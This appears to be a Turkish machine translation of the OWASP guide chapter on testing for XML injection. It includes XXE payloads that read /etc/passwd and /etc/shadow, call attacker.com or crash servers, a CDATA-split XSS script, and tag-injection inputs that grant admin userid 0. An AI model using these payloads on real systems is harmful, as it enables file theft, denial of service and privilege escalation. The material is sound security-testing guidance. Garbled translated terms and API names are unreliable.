Testing for XML Injection (XML Enjeksiyonu için Test)

Summary (Özet)

XML Enjeksiyon testi, bir test cihazının uygulamaya bir XML doküman enjekte etmeye çalıştığı zamandır. XML ayrıştırıcısı veri bağlamsal olarak doğrulamazsa, test olumlu bir sonuç verecektir.

Bu bölüm XML Enjeksiyonunun pratik örneklerini açıklar. İlk olarak, bir XML tarzı iletişimi tanımlanacak ve çalışma prensipleri açıklanacaktır. Ardından, XML metakaraktörleri eklemeye çalıştığımız keşif yöntemi. İlk adım tamamlandıktan sonra, test cihazı XML yapısı hakkında bazı bilgilere sahip olacaktır, bu nedenle XML verilerini ve etiketlerini (Tag Enjeksiyonu) enjekte etmeye çalışmak mümkün olacaktır.

Test Objectives (Test Hedefleri)

- XML enjeksiyon noktalarını belirleyin.
- Ulaşılabilecek istismar türlerini ve onların ciddiyetlerini değerlendirir.

How To Test (Nasıl Test Edilir)

Kullanıcı kaydını gerçekleştirmek için XML tarzı iletişimi kullanan bir web uygulaması olduğunu varsayalım. Bu, yeni bir yaratarak ve ekleyerek yapılır `user>` Bir arada düğüm `xmlDb` Dosya.

xmlDB dosyası aşağıdaki gibidir:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <username>gandalf</username>
    <password>!c3</password>
    <userid>0</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>Stefan0</username>
    <password>w1s3c</password>
    <userid>500</userid>
    <mail>Stefan0@whysec.hmm</mail>
  </user>
</users>
```

Bir kullanıcı bir HTML formunu doldurarak kendini kaydettiğinde, uygulama, basitlik uğruna bir standart olarak gönderilmesi gereken standart bir istekte kullanıcının verilerini alır. `GET` Talep etmek için.

Örneğin, aşağıdaki değerler:

```
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com
```

Talebi üzerine üretecektir:

`http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com`

Uygulama, daha sonra aşağıdaki düğümü oluşturur:

```
<user>
  <username>tony</username>
  <password>Un6R34kb!e</password>
  <userid>500</userid>
  <mail>s4tan@hell.com</mail>
</user>
```

xmlDB'ye eklenecektir:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <username>gandalf</username>
    <password>!c3</password>
    <userid>0</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>Stefan0</username>
    <password>w1s3c</password>
    <userid>500</userid>
    <mail>Stefan0@whysec.hmm</mail>
  </user>
  <user>
  <username>tony</username>
  <password>Un6R34kb!e</password>
  <userid>500</userid>
  <mail>s4tan@hell.com</mail>
  </user>
</users>
```

Discovery (Keşif)

Bir XML Enjeksiyonu güvenlik açığının varlığı için bir uygulamayı test etmek için ilk adım, XML metakaraktörleri eklemeye çalışmaktan oluşur.

XML metakarkıt makineleri şunlardır:

- Tek alıntı: `'` Dezenfekte edilmediğinde, bu karakter XML ayrıştırma sırasında bir istisna atabilir, eğer enjekte edilen değer bir etiketteki bir özellik değerinin bir parçası olacaksa.

Örnek olarak, aşağıdaki nitelik olduğunu varsayalım:

`<node attrib='$inputValue'/>`

Yani, eğer:

`inputValue = foo'`

Anlık olarak anlanır ve daha sonra attrib değeri olarak eklenir:

`<node attrib='foo''/>`

Daha sonra, ortaya çıkan XML belgesi iyi bir şekilde oluşmaz.

- Çifte alıntı: `"` bu karakter tek alıntı ile aynı anlama sahiptir ve özellik değeri çifte teklifle çevriliyse kullanılabilir.

`<node attrib="$inputValue"/>`

Yani:

`$inputValue = foo"`

ikame verir:

`<node attrib="foo""/>`

Ve ortaya çıkan XML belgesi geçersizdir.

- Açısal parantezler: `>` ve `<` Aşağıdaki gibi bir kullanıcı girişine açık veya kapalı bir açısal anadizi ekleyerek:

`Username = foo<`

Uygulama yeni bir düğüm oluşturacak:

```
<user>
  <username>foo<</username>
  <password>Un6R34kb!e</password>
  <userid>500</userid>
  <mail>s4tan@hell.com</mail>
</user>
```

Ancak, açık '<'ın varlığı nedeniyle, ortaya çıkan XML belgesi geçersizdir.

- Yorum etiketi: `<!--/-->` Bu karakter dizisi bir yorumun başlangıcı / sonu olarak yorumlanır. Bu nedenle, bunlardan birini Username parametresine enjekte ederek:

`Username = foo<!--`

Uygulama aşağıdaki gibi bir düğüm oluşturacaktır:

```
<user>
  <username>foo<!--</username>
  <password>Un6R34kb!e</password>
  <userid>500</userid>
  <mail>s4tan@hell.com</mail>
</user>
```

Bu da geçerli bir XML dizisi olmayacaktır.

- Ampersand: `&` Espri ve varlıkları temsil etmek için XML sözdizimi'nde kullanılır. Bir işletmenin formatı `&symbol;`. . Bir varlık, Unicode karakter setindeki bir karakterle eşleştirilir.

Örneğin:

`<tagnode><</tagnode>`

İyi oluşturulmuş ve geçerlidir ve temsil eder. `<` ASCIi karakteri.

Eğer `&` Kendini kodlaştırmaz `&` XML enjeksiyonunu test etmek için kullanılabilir.

Aslında, aşağıdaki gibi bir girdi sağlanırsa:

`Username = &foo`

Yeni bir düğüm oluşturulacak:

```
<user>
  <username>&foo</username>
  <password>Un6R34kb!e</password>
  <userid>500</userid>
  <mail>s4tan@hell.com</mail>
</user>
```

Ancak, yine, belge geçerli değildir: `&foo` Sonu sonlandırılmadı `;` ve onlar `&foo;` Varlık tanımsızdır.

- CDATA bölüm sınırlamaları: `<!\[CDATA\[ / ]]>` CDATA bölümleri, aksi takdirde işaretleme olarak kabul edilecek karakterleri içeren metin bloklarından kaçmak için kullanılır. Başka bir deyişle, bir CDATA bölümüne kapatılan karakterler bir XML ayrıştırıcısı tarafından ayrılmaz.

Örneğin, ipi temsil etme ihtiyacı varsa `<foo>` Bir metin düğümünün içinde, bir CDATA bölümü kullanılabilir:

```
<node>
  <![CDATA[<foo>]]>
</node>
```

öyle de bu `<foo>` İşaretleme olarak ayrıştırılmayacak ve karakter verileri olarak kabul edilecektir.

Eğer aşağıdaki şekilde bir düğüm oluşturulursa:

`<username><![CDATA[<$userName]]></username>`

Test cihazı son CDATA ipini enjekte etmeye çalışabilir `]]>` XML belgesini geçersiz kılmaya çalışmak için.

`userName = ]]>`

Bu olacak:

`<username><![CDATA[]]>]]></username>`

Geçerli bir XML parçası olmayan.

Başka bir test CDATA etiketi ile ilgilidir. XML belgesinin bir HTML sayfası oluşturmak için işlendiğini varsayalım. Bu durumda, CDATA bölüm sınırlamaları, içeriğini daha fazla incelemeden basitçe ortadan kaldırılabilir. Ardından, oluşturulan sayfada yer alacak ve mevcut sanitasyon rutinlerini tamamen atlayacak HTML etiketlerini enjekte etmek mümkündür.

Somut bir örnek düşünelim. Kullanıcıya geri görüntülenecek bazı metinler içeren bir düğümümüz olduğunu varsayalım.

```
<html>
  $HTMLCode
</html>
```

Ardından, bir saldırgan aşağıdaki girişi sağlayabilir:

`$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>`

ve aşağıdaki düğümü elde edin:

```
<html>
  <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>
```

İşlem sırasında, CDATA bölüm sınırlamaları ortadan kaldırılır ve aşağıdaki HTML kodunu oluşturur:

```
<script>
  alert('XSS')
</script>
```

Sonuç olarak, uygulamanın XSS'ye karşı savunmasız olması.

Dışsal Varlık: Geçerli varlıkların seti yeni varlıkları tanımlayarak genişletilebilir. Bir varlığın tanımı bir URI ise, işletmeye dış varlık denir. Aksi takdirde yapılandırılmadıkça, harici varlıklar XML ayrıştırıcısını URI tarafından belirtilen kaynağa, örneğin yerel makinede veya uzak sistemlerde bir dosyaya erişmeye zorlar. Bu davranış, uygulamayı yerel sistemin hizmet reddini gerçekleştirmek, yerel makinedeki dosyalara yetkisiz erişim sağlamak, uzaktan makineleri taramak ve uzaktan sistemlerin hizmet reddini gerçekleştirmek için kullanılabilecek XML eXternal Entity (XXSE) saldırılarına maruz bırakır.

XXE güvenlik açıklarını test etmek için aşağıdaki girişi kullanabilirsiniz:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///dev/random" >]>
    <foo>&xxe;</foo>
```

Bu test, XML parser'ı kuruluşu / dev / random dosyasının içeriğiyle yerine getirmeye çalışırsa, web sunucusunu (UNIX sisteminde) çökertebilir.

Diğer yararlı testler şunlardır:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;
    </foo>
```

Tag Injection (Etiket Enjeksiyonu)

İlk adım tamamlandıktan sonra, test cihazı XML belgesinin yapısı hakkında bazı bilgilere sahip olacaktır. Ardından XML verilerini ve etiketlerini enjekte etmeye çalışmak mümkündür. Bunun bir ayrıcalık tırmanışı saldırısına nasıl yol açabileceğinin bir örneğini göstereceğiz.

Bir önceki başvuruyu düşünelim. Aşağıdaki değerleri ekleyerek:

```
Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com
```

Uygulama yeni bir düğüm oluşturacak ve XML veritabanına ekleyecektir:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <username>gandalf</username>
    <password>!c3</password>
    <userid>0</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>Stefan0</username>
    <password>w1s3c</password>
    <userid>500</userid>
    <mail>Stefan0@whysec.hmm</mail>
  </user>
  <user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
    <userid>0</userid>
    <mail>s4tan@hell.com</mail>
```

```
  </user>
</users>
```

Ortaya çıkan XML dosyası iyi oluşturulmuş. Ayrıca, kullanıcı tony için, kullanıcı tony için, kullanıcı klibi ile ilişkili değerin, yani 0'ın (minaj kimliği) göründüğü gibi olması muhtemeldir. Başka bir
deyişle, bir kullanıcıya idari ayrıcalıkları enjekte ettik.

Tek sorun, kullanım kalıbı etiketinin son kullanıcı düğümünde iki kez görünmesidir. Genellikle, XML belgeleri bir şema veya DTD ile ilişkilidir ve buna uymadıkları takdirde reddedilir.

XML belgesinin aşağıdaki DTD tarafından belirtildiğini varsayalım:

```
<!DOCTYPE users [
  <!ELEMENT users (user+) >
  <!ELEMENT user (username,password,userid,mail+) >
  <!ELEMENT username (#PCDATA) >
  <!ELEMENT password (#PCDATA) >
  <!ELEMENT userid (#PCDATA) >
  <!ELEMENT mail (#PCDATA) >
]>
```

Kullanıcı yardımcı düğümünün kardinallik 1 ile tanımlandığını unutmayın. Bu durumda, daha önce gösterdiğimiz saldırı (ve diğer basit saldırılar) çalışmaz, XML belgesi herhangi bir işlem gerçekleşmeden önce DTD'sine karşı doğrulanırsa çalışmaz.

Bununla birlikte, bu sorun çözülebilir, eğer test cihazı rahatsız edici düğümden önceki bazı düğümlerin değerini kontrol ederse (bu örnekte yardımcı). Aslında, test cihazı bir yorum başlangıç / bitiş dizisi enjekte ederek böyle bir düğümü yorumlayabilir:

```
Username: tony
Password: Un6R34kb!e</password><!--
E-mail: -->><userid>0</userid><mail>s4tan@hell.com
```

Bu durumda, son XML veritabanı:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <username>gandalf</username>
    <password>!c3</password>
    <userid>0</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>Stefan0</username>
    <password>w1s3c</password>
    <userid>500</userid>
    <mail>Stefan0@whysec.hmm</mail>
  </user>
  <user>
    <username>tony</username>
    <password>Un6R34kb!e</password><!--</password>
    <userid>500</userid>
    <mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
  </user>
</users>
```

Orijinali `userid` Node yorumlandı, sadece enjekte edilen birini bıraktı. Belge şimdi DTD kurallarına uyuyor.

Source Code Review (Kaynak Kod İncelemesi)

Aşağıdaki Java API, doğru şekilde yapılandırılmadıkları takdirde XXE'ye karşı savunmasız olabilir.

```
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver
org.dom4j.*
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
TransformerFactory
SAXReader
DocumentHelper
SAXBuilder
SAXParserFactory
XMLReaderFactory
XMLInputFactory
SchemaFactory
DocumentBuilderFactoryImpl
SAXTransformerFactory
DocumentBuilderFactoryImpl
XMLReader
Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser
```

DocType, harici DTD ve harici parametre varlıkları yasak kullanımlar olarak ayarlanırsa kaynak kodunu kontrol edin.

- XML Harici Varlık (XXE) Önleme Hile Sayfası

Buna ek olarak, Java POI ofis okuyucusu, sürüm 3.10.1'in altındaysa XXE'ye karşı savunmasız olabilir.

POI kütüphanesinin versiyonu JAR dosya adıyla tanımlanabilir. Örneğin,

- `poi-3.8.jar`
- `poi-ooxml-3.8.jar`

Aşağıdakiler kaynak kodu anahtar kelimesi C için geçerli olabilir.

- libxml2: xmlCtxtReadMemory,xmlCtxxtUseTodeOnteks,xmlParseInDotext,xmlReadDocd,xmlReadDole,xmlReadDole,xmlReadReac
  xmlCtxtReadMemory, xmlCtxtReadDocd, xlCtxtReadFd,xmlCtxtPe-File
- libxerces-c: XercesDOMParser, SAXParser, SAX2XMLReader

Tools (Araçlar)

- XML Injection Fuzz Strings (from wfuzz tool)

References (Referanslar)

- XML Injection
- Gregory Steuck, “XXE (Xml eXternal Entity) attack”
- OWASP XXE Prevention Cheat Sheet